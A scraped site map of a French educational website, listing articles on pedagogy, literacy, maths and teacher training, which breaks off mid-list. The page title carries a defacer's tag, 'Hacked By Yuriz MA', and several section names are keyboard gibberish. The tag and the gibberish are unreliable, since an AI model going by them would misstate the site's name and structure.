Plan du site - Hacked By Yuriz MA

Hacked By Yuriz MA</strong></a> </div> <div id="conteneur"> <div id="contenu"> <div id="hierarchie"><a href="http://classedu.free.fr/">Accueil du site</a> > <strong class="on">Plan du site</strong></div> <div class="cartouche"> <h1>Plan du site</h1> </div> <h2><a href="spip.php?rubrique2">1</a></h2> <h3>Articles</h3> <ul> <li><a href="spip.php?article287">De l’instinct à l’intelligence</a></li> <li><a href="spip.php?article416">Jean Zay, portrait d’un ministre hors du commun</a></li> <li><a href="spip.php?article284">L’école d’une nouvelle civilisation</a></li> <li><a href="spip.php?article285">L’éducation créatrice</a></li> <li><a href="spip.php?article289">La pédagogie du concret</a></li> <li><a href="spip.php?article293">La relation pédagogique : Les synthèses dynamiques</a></li> <li><a href="spip.php?article46">Liste des principaux pédagogues </a></li> <li><a href="spip.php?article291">Où va l’éducation ?</a></li> <li><a href="spip.php?article552">Petite histoire des pédagogues</a></li> <li><a href="spip.php?article294">Psychologie et éducation de l’enfance</a></li> <li><a href="spip.php?article288">Qu’est-ce qu’une méthode naturelle</a></li> <li><a href="spip.php?article283">Un essai de définition de l’éducation nouvelle</a></li> <li><a href="spip.php?article286">Une nouvelle Renaissance</a></li> <li><a href="spip.php?article290">Valeur pédagogique de l’étonnement</a></li> </ul> <h2><a href="spip.php?rubrique13">10</a></h2> <h3>Articles</h3> <ul> <li><a href="spip.php?article437"> Instructionniste » ou « constructiviste » ?</a></li> <li><a href="spip.php?article2"> Malaise dans la profession enseignante</a></li> <li><a href="spip.php?article1">10 propositions pour retrouver le sens de l’éducation prioritaire par l’OZP</a></li> <li><a href="spip.php?article519">A la une, en cette période de rentrée universitaire 2012, refondation toute de l’école ! ?</a></li> <li><a href="spip.php?article392">« L’ORIGINE ? PAS UN OBSTACLE, UN PARAMÈTRE DE TRAVAIL »</a></li> <li><a href="spip.php?article399">« Le travail enseignant en quête de sens ? Un métier à transformer » : Donnez votre avis !</a></li> <li><a href="spip.php?article492">Bautier et Rayou : "les enseignants sont pris dans des logiques multiples" </a></li> <li><a href="spip.php?article526">Bonne nouvelle : retour à l’initiative enseignante pour une tâche discrétionnaire !</a></li> <li><a href="spip.php?article369">Change-t-on encore la formation des profs ? Ouf !! </a></li> <li><a href="spip.php?article304">Conférence nationale sur les rythmes scolaires</a></li> <li><a href="spip.php?article332">Culture écrite et apprentissages scolaires</a></li> <li><a href="spip.php?article328">Darcos : TiC à l’école</a></li> <li><a href="spip.php?article436">Des enseignants pour l’égalité des genres</a></li> <li><a href="spip.php?article330">Ecole, des évaluations qui fâchent : trois questions à ...Jean-Yves Rochex</a></li> <li><a href="spip.php?article413">Enquête sur le métier d’enseignant du SNUIPP </a></li> <li><a href="spip.php?article344">Enseigner s’apprend, non ? Formation des enseignants = 0 ?!</a></li> <li><a href="spip.php?article326">Etude sur l’autorité à l’école</a></li> <li><a href="spip.php?article337">Faut-il revenir aux fondamentaux ? </a></li> <li><a href="spip.php?article521">Flash info sur la refondation de la formation enseignante</a></li> <li><a href="spip.php?article3">Folle ignorance sur la psychologie du développement des élèves ?</a></li> <li><a href="spip.php?article438">Formation : de grosses lacunes, des possibilités ?</a></li> <li><a href="spip.php?article366">Former des enseignants : une comparaison internationale</a></li> <li><a href="spip.php?article336">François Dubet : « Pour que l’école soit la moins injuste possible »</a></li> <li><a href="spip.php?article414">Harcèlement : selon Claude Halmos, une indispensable formation des enseignants</a></li> <li><a href="spip.php?article529">Hollande : L’école, passage obligé d’une conférence de presse</a></li> <li><a href="spip.php?article358">Janvier 2011 : Faut-il en finir avec les évaluations nationales</a></li> <li><a href="spip.php?article493">Jean-Yves Rochex : "aider les élèves pour qu’ils se mettent en règle avec l’Ecole, ou pour qu’ils se mobilisent intellectuellement ?" </a></li> <li><a href="spip.php?article339">L’actualité de la réflexion et de la recherche en éducation à Lalonde</a></li> <li><a href="spip.php?article520">L’année de l’École de Luc Chatel à Vincent Peillon Édition 2012 - 2013</a></li> <li><a href="spip.php?article523">L’année de tous les espé</a></li> <li><a href="spip.php?article385">L’école peut elle abriter la guerre des genres ? </a></li> <li><a href="spip.php?article307">L’OZP souligne les insuffisances du rapport de l’Inspection sur les RAR</a></li> <li><a href="spip.php?article536">La Semaine et la discrimination raciste à l’Ecole </a></li> <li><a href="spip.php?article377">La tablette va-t-elle sauver l’école ?</a></li> <li><a href="spip.php?article333">L’apprentissage à vie pour tous</a></li> <li><a href="spip.php?article325">Le café pédagogique s’interroge : Education et instruction civique : deux sociétés différentes</a></li> <li><a href="spip.php?article324">Le gouvernement va-t-il remettre en question la mixité ? </a></li> <li><a href="spip.php?article443">Le lien entre motivation et notes</a></li> <li><a href="spip.php?article534">Le nouveau socle commun de 2015 redéfinit les champs de savoirs</a></li> <li><a href="spip.php?article446">Le temps de l’enfant, le temps de sa construction</a></li> <li><a href="spip.php?article558">Les 40 recommandations du CNNum pour bâtir une école créative et juste dans un monde numérique </a></li> <li><a href="spip.php?article334">Les défis du 21e siècle</a></li> <li><a href="spip.php?article419">Les Rencontres d’été du CRAP-Cahiers pédagogiques</a></li> <li><a href="spip.php?article498">Lettre à tous les personnels de l’éducation nationale</a></li> <li><a href="spip.php?article477">Meirieu éclaire la question des "devoirs à la maison".</a></li> <li><a href="spip.php?article531">Mur d’actualités éducatives </a></li> <li><a href="spip.php?article442">Où est passé le plaisir d’apprendre, d’enseigner ?</a></li> <li><a href="spip.php?article430">OCDE : L’école française s’est nettement dégradée en 10 ans</a></li> <li><a href="spip.php?article352">PISA : Pour Bruno Suchaut, il faut relancer l’éducation prioritaire</a></li> <li><a href="spip.php?article331">Plus d’efforts pour la formation professionnelle des enseignants suggère un rapport européen</a></li> <li><a href="spip.php?article444">POUR JACK LANG : « RECONSTRUIRE L’ÉCOLE À L’IDENTIQUE SERAIT UNE ERREUR »</a></li> <li><a href="spip.php?article537">Préjugés, stéréotypes, discriminations sexistes : Comprendre pour agir </a></li> <li><a href="spip.php?article557">Production et valorisation des savoirs scientifiques sur l’éducation</a></li> <li><a href="spip.php?article322">Recherche : Dès 3 ans, les filles devancent les garçons</a></li> <li><a href="spip.php?article353">Sexisme et Homophobie : l’Ecole fait-elle le nécessaire ?</a></li> <li><a href="spip.php?article494">Stéphane Bonnery : "comprendre l’échec scolaire" </a></li> <li><a href="spip.php?article376">Une ecole du socle commun : bonne ou tres mauvaise idee ?</a></li> <li><a href="spip.php?article495">Vers un Nouvel avenir pour l’éducation prioritaire ?</a></li> </ul> <h3>Brèves</h3> <ul> <li><a href="spip.php?breve25">PRESIDENTIELLE 2012 : Quelle école voulez-vous ?</a></li> <li><a href="spip.php?breve22">Forum Retz 2011 : Les professeurs des écoles sont-ils des enseignants comme les autres ?</a></li> </ul> <h3>Sites Web</h3> <ul> <li><a href="spip.php?site6">Guide 2011 du WEB EDUCATIF</a></li> </ul> <h2><a href="spip.php?rubrique4">2</a></h2> <h3>Articles</h3> <ul> <li><a href="spip.php?article406"> Aider les élèves à apprendre </a></li> <li><a href="spip.php?article547"> Pédagogie différenciée ou apprentissages différenciés ?</a></li> <li><a href="spip.php?article101">5 premières et 5 dernières minutes de classe</a></li> <li><a href="spip.php?article400">Aider en équipe les élèves en difficultés, Un éventail de possibilités</a></li> <li><a href="spip.php?article402">Atelier de lecture à haute voix</a></li> <li><a href="spip.php?article306">Attention aux consignes !</a></li> <li><a href="spip.php?article95">Comment faire échouer les élèves ?</a></li> <li><a href="spip.php?article92">Conseils pour fonder une discipline scolaire efficace</a></li> <li><a href="spip.php?article116">Déclarations importantes à faire en classe au sujet du comportement des élèves</a></li> <li><a href="spip.php?article93">Debriefing et journal d’apprentissage pour penser les objets scolaires</a></li> <li><a href="spip.php?article559">DESCRIPTION SOMMAIRE DE FORMULES PÉDAGOGIQUES</a></li> <li><a href="spip.php?article115">Différences entre didactique & pédagogie...</a></li> <li><a href="spip.php?article10">Enseigner, c’est du théâtre</a></li> <li><a href="spip.php?article100">Evaluer, noter, classer…</a></li> <li><a href="spip.php?article97">Faire apprendre avec des situations ouvertes</a></li> <li><a href="spip.php?article96">Faire travailler sa mémoire</a></li> <li><a href="spip.php?article22">Gérer l’apprentissage individualisé</a></li> <li><a href="spip.php?article20">Gérer les devoirs</a></li> <li><a href="spip.php?article360">Gérer les différences culturelles en classe</a></li> <li><a href="spip.php?article279">Gérer son matériel scolaire et ses connaissances</a></li> <li><a href="spip.php?article105">Gestion de classe ou de groupe, gestion des individualités ?</a></li> <li><a href="spip.php?article104">Hypothèses sur le changement des pratiques pédagogiques</a></li> <li><a href="spip.php?article102">Introduction à la gestion de classe</a></li> <li><a href="spip.php?article111">L ’éducation nouvelle, un nouveau monde à inventer... </a></li> <li><a href="spip.php?article365">L’aide aux élèves en équipe, une affaire d’équipe</a></li> <li><a href="spip.php?article7">L’autorité s’apprend, elle n’est pas un don.</a></li> <li><a href="spip.php?article506">L’effet pygmalion</a></li> <li><a href="spip.php?article94">La démarche d’auto-socio-construction du savoir</a></li> <li><a href="spip.php?article113">La pédagogie Freinet </a></li> <li><a href="spip.php?article108">La pédagogie institutionnelle</a></li> <li><a href="spip.php?article90">La pédagogie PMEV</a></li> <li><a href="spip.php?article525">La saga du CDI</a></li> <li><a href="spip.php?article91">L’entretien d’explicitation</a></li> <li><a href="spip.php?article118">Le cahier comme outil de traitement de l’information</a></li> <li><a href="spip.php?article117">Le cahier de vie</a></li> <li><a href="spip.php?article122">Le Guide des profs OU kit de survie</a></li> <li><a href="spip.php?article314">Le journal de classe</a></li> <li><a href="spip.php?article89">Le travail personnel donné à l’élève</a></li> <li><a href="spip.php?article112">Les invariants pédagogiques de la classe Freinet</a></li> <li><a href="spip.php?article433">LES RITUELS DE CLASSE</a></li> <li><a href="spip.php?article98">Les stratégies d’enseignement et d’apprentissage</a></li> <li><a href="spip.php?article110">Manifeste du GFEN</a></li> <li><a href="spip.php?article207">Opération "gesclasse" : tester votre style de gestion de classe</a></li> <li><a href="spip.php?article121">Oral ou écrit ? Quel choix scolaire ? </a></li> <li><a href="spip.php?article206">Quel est votre style professoral ?</a></li> <li><a href="spip.php?article119">Question d’autorité</a></li> <li><a href="spip.php?article107">Sciences d’appui à la pédagogie</a></li> <li><a href="spip.php?article497">Situations-problèmes : regards croisés d’Astolfi et Meirieu</a></li> <li><a href="spip.php?article99">Soixante-quinze techniques pour éviter les problèmes de discipline</a></li> <li><a href="spip.php?article109">Transmission et construction des savoirs, l’auto-socio-construction des savoirs</a></li> <li><a href="spip.php?article103">Trucs et ficelles pédagogiques</a></li> <li><a href="spip.php?article403">Va-t-on revenir sur la mixité scolaire ?</a></li> <li><a href="spip.php?article106">Vous avez dit pédagogie ? </a></li> </ul> <h2><a href="spip.php?rubrique5">3</a></h2> <h3>Articles</h3> <ul> <li><a href="spip.php?article123">Construire un itinéraire des difficultés d’apprentissage</a></li> <li><a href="spip.php?article125">Fiche de préparation, comment s’y prendre ?</a></li> <li><a href="spip.php?article131">L’APPRENTISSAGE DE LA GRAMMAIRE</a></li> <li><a href="spip.php?article124">L’APPRENTISSAGE DE LA LECTURE</a></li> <li><a href="spip.php?article404">Objectif : apprendre le français (selon E. Charmeux)</a></li> <li><a href="spip.php?article226">Productions réalisées par l’Inspection Académique de la Sarthe.</a></li> <li><a href="spip.php?article126">Questions à se poser pour bien préparer sa classe</a></li> </ul> <h2><a href="spip.php?rubrique6">4</a></h2> <h3>Articles</h3> <ul> <li><a href="spip.php?article144">"Artogenos", bande dessinée</a></li> <li><a href="spip.php?article528">A Grenoble, portraits et débats philosophiques </a></li> <li><a href="spip.php?article302">Alexis de Tocqueville : Extrait de De la Démocratie en Amérique</a></li> <li><a href="spip.php?article374">Apprendre du cinéma et avec le cinéma</a></li> <li><a href="spip.php?article143">Aspects pédagogiques pour la visite d’un musée</a></li> <li><a href="spip.php?article142">Comment analyser une oeuvre d’art</a></li> <li><a href="spip.php?article411">Des exerciseurs pour la géographie</a></li> <li><a href="spip.php?article412">Des exerciseurs pour la géographie</a></li> <li><a href="spip.php?article373">Eduquer à l’image comme un langage</a></li> <li><a href="spip.php?article15">Histoire : le maillon faible de la primaire ?</a></li> <li><a href="spip.php?article146">La géographie à l’école</a></li> <li><a href="spip.php?article147">L’histoire à l’école</a></li> <li><a href="spip.php?article370">Les arts visuels au quotidien</a></li> <li><a href="spip.php?article372">Master Class Cinéma avec Hitchcock</a></li> <li><a href="spip.php?article14">Mille manières de faire apprendre l’histoire selon Benoît Falaize, INRP</a></li> <li><a href="spip.php?article145">Musées parisiens</a></li> <li><a href="spip.php?article13">Objectif musique</a></li> <li><a href="spip.php?article410">Paysages sonores et cartographie du bruit </a></li> <li><a href="spip.php?article4">Pourquoi nous racontons-nous des histoires ? Jérôme Bruner</a></li> <li><a href="spip.php?article271">Savoir interroger un document historique (niveau CM)</a></li> <li><a href="spip.php?article9">Théâtre en classe</a></li> </ul> <h2><a href="spip.php?rubrique7">5</a></h2> <h3>Articles</h3> <ul> <li><a href="spip.php?article387">Activités dans les classes pour la semaine de la presse</a></li> <li><a href="spip.php?article389">Affichage de la Déclaration des droits de l’Homme et du citoyen dans les écoles et les collèges </a></li> <li><a href="spip.php?article390">Éduquer contre le racisme</a></li> <li><a href="spip.php?article137">Bande dessinée "Stéréotype toi même"</a></li> <li><a href="spip.php?article382">Bibliographie et sitographie sur la thematique Filles et Garcons a l’ecole</a></li> <li><a href="spip.php?article424">Construire le sens de la récréation</a></li> <li><a href="spip.php?article141">Convention interministérielle 2000 sur l’égalité filles - garçons</a></li> <li><a href="spip.php?article136">Convention interministérielle 2007 sur l’égalité filles - garçons</a></li> <li><a href="spip.php?article135">Conversations sur le sexisme</a></li> <li><a href="spip.php?article379">Des livres de jeunesse contre le sexisme</a></li> <li><a href="spip.php?article380">Des livres de jeunesse contre le sexisme</a></li> <li><a href="spip.php?article499">ECRIRE UN ALBUM ANTI SEXISTE</a></li> <li><a href="spip.php?article555">Eduquer au-delà des frontières disciplinaires</a></li> <li><a href="spip.php?article21">Eduquer à la santé : quelques principes</a></li> <li><a href="spip.php?article305">Enseigner la morale à l’Ecole ou former à la conscience morale ?</a></li> <li><a href="spip.php?article378">Filles et garçons à l’école</a></li> <li><a href="spip.php?article381">Justimemo, un site pour étudier la justice</a></li> <li><a href="spip.php?article138">Kit pédagogiques du Conseil de L’Europe sur la citoyenneté, les luttes contre les discriminations</a></li> <li><a href="spip.php?article425">L’instruction morale et civique à l’école</a></li> <li><a href="spip.php?article476">La réussite scolaire des filles et la place pour les femmes dans l’emploi</a></li> <li><a href="spip.php?article335">L’éducation sexuelle au Québec </a></li> <li><a href="spip.php?article132">L’égalité des genres reste un objectif pour l’Ecole européenne</a></li> <li><a href="spip.php?article270">Le débat-philo à l’école primaire</a></li> <li><a href="spip.php?article375">Mallette de livres contre le sexisme</a></li> <li><a href="spip.php?article140">Moi raciste ? brochure destinée aux écoles et collèges</a></li> <li><a href="spip.php?article133">Olympiades des maths : les ambiguïtés d’une discipline dominante, une question de parité ? </a></li> <li><a href="spip.php?article409">Philo en maternelle, une belle aventure continue !</a></li> <li><a href="spip.php?article134">Répertoire d’activités visant la promotion de conduites non sexistes entre filles et garçons de maternelle et de primaire.</a></li> <li><a href="spip.php?article431">Rue Tom et Lila : pour apprendre à circuler dans la rue</a></li> <li><a href="spip.php?article139">Secrets à dire sur l’environnement</a></li> <li><a href="spip.php?article451">Stéréotypes de la féminité</a></li> </ul> <h2><a href="spip.php?rubrique8">6</a></h2> <h3>Articles</h3> <ul> <li><a href="spip.php?article515"> Concevoir et faire progresser des dispositifs de différenciation</a></li> <li><a href="spip.php?article535"> DISPOSITIF DE L’ATELIER DE NEGOCIATION GRAPHIQUE</a></li> <li><a href="spip.php?article505">10 (bonnes) raisons de faire écrire pour enseigner la lecture</a></li> <li><a href="spip.php?article168">Activités autres en production d’écrit</a></li> <li><a href="spip.php?article511">Apprendre à lire : l’essentiel en 10 pages et 40 notions</a></li> <li><a href="spip.php?article162">Apprendre à Lire au CP</a></li> <li><a href="spip.php?article190">Apprendre à lire et écrire au cycle 2</a></li> <li><a href="spip.php?article164">Apprentissage du lexique : la corolle lexicale</a></li> <li><a href="spip.php?article170">Atelier de jeux littéraires, jeux sur la langue</a></li> <li><a href="spip.php?article165">Atelier de négociation graphique Les homophones (vair, vert, ver, verre, vers, vers )</a></li> <li><a href="spip.php?article187">Aujourd’hui l’apprentissage de la lecture... </a></li> <li><a href="spip.php?article532">Caroline Gerber, prof de français : L’humour est pédagogique ! </a></li> <li><a href="spip.php?article514">Choix des tâches d’enseignement et rôle du maître au début du cours préparatoire </a></li> <li><a href="spip.php?article524">Comment apprendre l’orthographe par Michel Fayol</a></li> <li><a href="spip.php?article274">Découvrir les expressions idiomatiques </a></li> <li><a href="spip.php?article501">Des approches de l’apprentissage de la lecture, Michel Fayol</a></li> <li><a href="spip.php?article17">Des interactions entre pensée et langage</a></li> <li><a href="spip.php?article5">Des points de vigilance sur l’apprentissage de la lecture</a></li> <li><a href="spip.php?article513">Des remédiations qui se révèlent être de fausses pistes</a></li> <li><a href="spip.php?article301">Diaporama de formation sur la production d’écrit, la dictée à l’adulte, la grammaire, l’étude de la langue</a></li> <li><a href="spip.php?article349">Dictée défi deux couleurs</a></li> <li><a href="spip.php?article178">Dictionnaire numérique définitionnel de notions scientifiques </a></li> <li><a href="spip.php?article161">Dispositifs d’ateliers de langage à l’Ecole maternelle</a></li> <li><a href="spip.php?article228">Dossier du Café Pédagogique : Grammaire, orthographe, vocabulaire, où en est-on ? </a></li> <li><a href="spip.php?article12">Enjeux et méthodes pour apprendre les langues étrangères</a></li> <li><a href="spip.php?article356">Enrichir le vocabulaire avec l’écriture</a></li> <li><a href="spip.php?article397">Enseigner la grammaire à l’école primaire</a></li> <li><a href="spip.php?article180">Enseigner la lecture et prévenir les difficultés dans les CP à effectifs réduits</a></li> <li><a href="spip.php?article445">Et si les élèves twittaient des poèmes ?</a></li> <li><a href="spip.php?article18">Eviter de demeurer sur un mode implicite</a></li> <li><a href="spip.php?article345">Faire de la grammaire : une ouverture vers la maîtrise du langage</a></li> <li><a href="spip.php?article160">Fiches outils pour aider les élèves mal francophones</a></li> <li><a href="spip.php?article527">François Bourdon : Si tous les enfants du monde lisaient ensemble …</a></li> <li><a href="spip.php?article401">Grammaire amère</a></li> <li><a href="spip.php?article19">L’oral : une pratique permanente et objet d’enseignement</a></li> <li><a href="spip.php?article163">La « fête du langage » : un parcours langagier en école maternelle</a></li> <li><a href="spip.php?article354">La dictée à l’adulte</a></li> <li><a href="spip.php?article357">La dictée négociée au cycle 3.</a></li> <li><a href="spip.php?article432">LA DICTEE QUOTIDIENNE </a></li> <li><a href="spip.php?article486">La lecture selon Roland Goigoux</a></li> <li><a href="spip.php?article185">La littérature à l’école</a></li> <li><a href="spip.php?article488">La maîtrise de la langue, dimensions et enjeux </a></li> <li><a href="spip.php?article16">La place de l’oral à l’école</a></li> <li><a href="spip.php?article396">Langage et poésie</a></li> <li><a href="spip.php?article316">L’étymologie des mots</a></li> <li><a href="spip.php?article166">Le bureau typographique pour enrichir le vocabulaire</a></li> <li><a href="spip.php?article189">Le langage oral en école maternelle</a></li> <li><a href="spip.php?article275">Le trésor des mots</a></li> <li><a href="spip.php?article487">Les MACLE</a></li> <li><a href="spip.php?article181">Lire et écrire au cycle 3</a></li> <li><a href="spip.php?article572">LIRE POUR APPRENDRE, LIRE POUR COMPRENDRE</a></li> <li><a href="spip.php?article172">Mémoire de Cafipemf : De l’oral à l’écrit, la construction des notions grammaticales au cycle 3</a></li> <li><a href="spip.php?article351">Motordu pour apprendre des mots à l’endroit</a></li> <li><a href="spip.php?article273">Notes sur l’apprentissage de l’oral</a></li> <li><a href="spip.php?article388">Orthographe : à qui la faute ? </a></li> <li><a href="spip.php?article173">Parlons de la nouvelle orthographe</a></li> <li><a href="spip.php?article179">Petit précis de grammaire</a></li> <li><a href="spip.php?article177">Produire un récit quand on ne sait pas écrire</a></li> <li><a href="spip.php?article272">Progressions et compétences pour travailler l’oral au collège</a></li> <li><a href="spip.php?article186">Projet "A TOUT LIVRE"</a></li> <li><a href="spip.php?article448">Projet d’écriture longue d’un roman policier</a></li> <li><a href="spip.php?article355">Projets d’écriture et réinvestissements grammaticaux</a></li> <li><a href="spip.php?article507">QUELQUES PISTES DE TRAVAIL en PRODUCTION D’ECRITS</a></li> <li><a href="spip.php?article174">Question de dictée</a></li> <li><a href="spip.php?article175">Question de grammaire au cycle 3 de l’élémentaire</a></li> <li><a href="spip.php?article176">Question de production d’écrits</a></li> <li><a href="spip.php?article183">Rapport Bentolila sur l’enseignement de la grammaire</a></li> <li><a href="spip.php?article184">Réactions au rapport Bentolila sur la grammaire</a></li> <li><a href="spip.php?article533">Réinventer l’oral avec Sarah Pépin-Vilar</a></li> <li><a href="spip.php?article182">Repères pour analyser un ouvrage</a></li> <li><a href="spip.php?article227">Ressources grammaticales et lexicales en ligne</a></li> <li><a href="spip.php?article171">Situations de jeux sur la langue</a></li> <li><a href="spip.php?article315">Situations de manipulation autour des verbes de la phrase</a></li> <li><a href="spip.php?article169">Soutien et personnalisation en étude de la langue</a></li> <li><a href="spip.php?article167">Soutien et personnalisation en production d’écrits</a></li> <li><a href="spip.php?article342">Voyez, I parlent pas comme nous ! </a></li> </ul> <h3>Sites Web</h3> <ul> <li><a href="spip.php?site9">Albums de littérature de jeunesse et production d’écrits courts Outil pour proposer des activités d’écriture en classe</a></li> <li><a href="spip.php?site7">CNDP Ecrire à l’école</a></li> <li><a href="spip.php?site13">Et si on faisait du théâtre à l’école ?</a></li> <li><a href="spip.php?site11">Littérature au cycle 3 - Analyse d’albums </a></li> <li><a href="spip.php?site12">Littérature au cycle 3 - Analyse d’œuvres longues </a></li> <li><a href="spip.php?site8">Produire des écrits, Apprendre à lire et à écrire des textes au cycle 3</a></li> </ul> <h2><a href="spip.php?rubrique9">7</a></h2> <h3>Articles</h3> <ul> <li><a href="spip.php?article303">5 questions à Stella Baruk : « Il faut enseigner les maths comme une langue vivante »</a></li> <li><a href="spip.php?article512">Apprendre les mathématiques à l’école primaire et au début du collège : l’essentiel en 10 pages et … notions. </a></li> <li><a href="spip.php?article154">Apprendre les maths à l’école élémentaire</a></li> <li><a href="spip.php?article152">B2I Brevet informatique et internet</a></li> <li><a href="spip.php?article384">Comment fonctionne le climat de la terre ?</a></li> <li><a href="spip.php?article157">Dans le RAR de Villefranche sur Saône, un enseignant des écoles prend en charge une classe de sixième en maths tandis qu’une enseignante du collège intervient dans les classes de CM2 en géométrie.</a></li> <li><a href="spip.php?article26">Défense et illustration de la géométrie</a></li> <li><a href="spip.php?article509">Démarche d’apprentissage en sciences</a></li> <li><a href="spip.php?article483">Dénombrer, compter, calculer : toute une problématique, un débat de recherche</a></li> <li><a href="spip.php?article363">Enseignement des mathématiques et maîtrise de la langue</a></li> <li><a href="spip.php?article158">Enseigner les sciences à l’école</a></li> <li><a href="spip.php?article359">Jardins format A4</a></li> <li><a href="spip.php?article151">La classe scientifique : une démarche expérimentale en sciences</a></li> <li><a href="spip.php?article449">La construction du nombre</a></li> <li><a href="spip.php?article489">La maîtrise du nombre, enjeux et dimensions</a></li> <li><a href="spip.php?article508">La résolution de problème</a></li> <li><a href="spip.php?article159">Le cahier d’expériences scientifiques</a></li> <li><a href="spip.php?article362">Le nombre en cycle 2</a></li> <li><a href="spip.php?article153">Le problème ouvert en mathématiques</a></li> <li><a href="spip.php?article148">Les jeux mathématiques</a></li> <li><a href="spip.php?article484">Les premiers apprentissages numériques</a></li> <li><a href="spip.php?article149">Maths au premier degré</a></li> <li><a href="spip.php?article280">Maths Rometus : un site incontournable</a></li> <li><a href="spip.php?article150">Nouvelles tendances en enseignement des sciences et de la technologie au préscolaire et au primaire</a></li> <li><a href="spip.php?article394">Objectif Sciences</a></li> <li><a href="spip.php?article386">Partenariat avec Météo-France</a></li> <li><a href="spip.php?article450">Présentation du site Primaths.fr</a></li> <li><a href="spip.php?article452">Quelques éléments de réflexion sur la construction du nombre</a></li> <li><a href="spip.php?article329">Usages des TIC et pédagogie</a></li> <li><a href="spip.php?article156">Vers les mathématiques : quel travail en école maternelle ?</a></li> </ul> <h2><a href="spip.php?rubrique10">8</a></h2> <h3>Articles</h3> <ul> <li><a href="spip.php?article256">Accompagnement de l’entrée dans le métier et formation continue des enseignants</a></li> <li><a href="spip.php?article199">ANNEES 2000 : LES IUFM SONT DANS L’OEIL DU CYCLONE ! </a></li> <li><a href="spip.php?article573">Apprentissage expérientiel pour se former au métier </a></li> <li><a href="spip.php?article562">Établissement formateur ou formation en établissement ?</a></li> <li><a href="spip.php?article393">« UN BENEFICE SUR LE PLAN PROFESSIONNEL »</a></li> <li><a href="spip.php?article299">Comment se construit l’identité professionnelle des enseignants débutants ? Débats aux rencontres AREF 2010</a></li> <li><a href="spip.php?article367">Comment se former à la psychosociologie ?</a></li> <li><a href="spip.php?article195">Développer un complément de formation après l’IUFM</a></li> <li><a href="spip.php?article361">Et si on utilisait des jeux sérieux pour apprendre le métier d’enseignant</a></li> <li><a href="spip.php?article517">Fiches d’observation des professeurs stagiaires</a></li> <li><a href="spip.php?article308">Formation des enseignants : L’abandon de l’Etat analysé par André Ouzoulias </a></li> <li><a href="spip.php?article8">Former des enseignants professionnels. Quelles stratégies ? Quelles compétences ? </a></li> <li><a href="spip.php?article530">Guidage, guidance et numérique </a></li> <li><a href="spip.php?article560">La mise en place des écoles supérieures du professorat et de l’éducation : les conclusions</a></li> <li><a href="spip.php?article193">Le dossier sur la formation en IUFM du Café pédagogique</a></li> <li><a href="spip.php?article192">Le référentiel de compétences d’un formateur d’adultes </a></li> <li><a href="spip.php?article191">Les profs apprennent des profs</a></li> <li><a href="spip.php?article197">Plus de cohérence, plus de formations... en IUFM</a></li> <li><a href="spip.php?article516">Portfolio pour préparer la classe</a></li> <li><a href="spip.php?article194">Première classe après IUFM Etats des lieux et constats... en IUFM</a></li> <li><a href="spip.php?article391">Qu’est-ce que c’est que bien travailler ? Il faut remettre ça sur le métier ! </a></li> <li><a href="spip.php?article198">RÉFÉRENTIEL DES COMPÉTENCES PROFESSIONNELLES DU PROFESSEUR DES ÉCOLES </a></li> <li><a href="spip.php?article196">Réaménager l’articulation théorie/pratique... en IUFM </a></li> <li><a href="spip.php?article405">Référentiel de compétences et capacités caractéristiques d’un professeur des écoles (maj 2009)</a></li> <li><a href="spip.php?article200">SOURIEZ LES IUFM, VOUS ETES EVALUE !! petite étude</a></li> <li><a href="spip.php?article395">Zoom sur l’entretien formatif, du conseil pédagogique</a></li> </ul> <h3>Sites Web</h3> <ul> <li><a href="spip.php?site10">BANQUE DE SEQUENCES DIDACTIQUES Crdp de Montpellier</a></li> </ul> <h2><a href="spip.php?rubrique12">9</a></h2> <h3>Articles</h3> <ul> <li><a href="spip.php?article225">Etudes de la langue</a></li> <li><a href="spip.php?article221">Etudes en Arts </a></li> <li><a href="spip.php?article219">Etudes en EPS</a></li> <li><a href="spip.php?article222">Etudes en histoire - géographie</a></li> <li><a href="spip.php?article223">Etudes en maternelle</a></li> <li><a href="spip.php?article224">Etudes en mathématiques</a></li> <li><a href="spip.php?article220">Etudes en sciences et technologie</a></li> </ul> <h2><a href="spip.php?rubrique3">Analyse de l’activité enseignante</a></h2> <ul> <li> <strong><a href="spip.php?rubrique25">ùoujheefmiouhrg</a></strong> <ul> <li><a href="spip.php?article73"> Activité enseignante et prescription</a></li> <li><a href="spip.php?article71">Activité enseignante entre généricité et singularités</a></li> <li><a href="spip.php?article70">Activité enseignante et secondarisation</a></li> <li><a href="spip.php?article72">Activité enseignante et tâche scolaire</a></li> <li><a href="spip.php?article69">Une approche « activité enseignante » pour étudier le métier d’enseignant </a></li> </ul> </li> <li> <strong><a href="spip.php?rubrique27">iutzgfedfouiughfrepiuh</a></strong> <ul> <li><a href="spip.php?article75"> L’analyse de pratique est-elle professionalisante ? </a></li> <li><a href="spip.php?article510">3 profils d’enseignants</a></li> <li><a href="spip.php?article64">7 familles d’aides selon Roland Goigoux</a></li> <li><a href="spip.php?article544">Analysons nos pratiques</a></li> <li><a href="spip.php?article83">De la difficulté qui interroge le métier</a></li> <li><a href="spip.php?article538">Dominique Bucheton : les gestes professionnels</a></li> <li><a href="spip.php?article88">Esquisse de mutualisation des pratiques</a></li> <li><a href="spip.php?article84">FAIRE de la PRATIQUE des UNS un objet de RÉFLEXION pour TOUS » </a></li> <li><a href="spip.php?article281">Gestes d’étayage selon Bruner</a></li> <li><a href="spip.php?article282">Gestes professionnels selon Bucheton</a></li> <li><a href="spip.php?article62">L’entretien d’explicitation sur sa pratique professionnelle</a></li> <li><a href="spip.php?article77">L’analyse de pratiques dans le discours de la formation </a></li> <li><a href="spip.php?article74">Le portfolio ou portefeuille de compétences </a></li> <li><a href="spip.php?article76">Note de lecture : Apprendre des situations</a></li> <li><a href="spip.php?article66">Observer, oui mais quoi ?</a></li> <li><a href="spip.php?article82">Porter une attention particulière aux éléments générant du stress</a></li> <li><a href="spip.php?article65">Quelques « observables » de classe</a></li> </ul> </li> <li> <strong><a href="spip.php?rubrique26">mloijufuhdgvmloihnjgv</a></strong> <ul> <li><a href="spip.php?article78">Analyse du travail et pratique enseignante</a></li> <li><a href="spip.php?article87">Des articulations entre les disciplines</a></li> <li><a href="spip.php?article423">Entretien avec Anne BARRERE sur les enjeux de professionnalité enseignante et de travail en équipe</a></li> <li><a href="spip.php?article79">Esquisse d’une nouvelle approche d’analyse du travail enseignant</a></li> <li><a href="spip.php?article348">Etude des interactions de classe</a></li> <li><a href="spip.php?article63">Etudes relatives à l’usage du tableau numérique interactif</a></li> <li><a href="spip.php?article347">Quelques questions vives portées par la recherche </a></li> <li><a href="spip.php?article346">Théories de 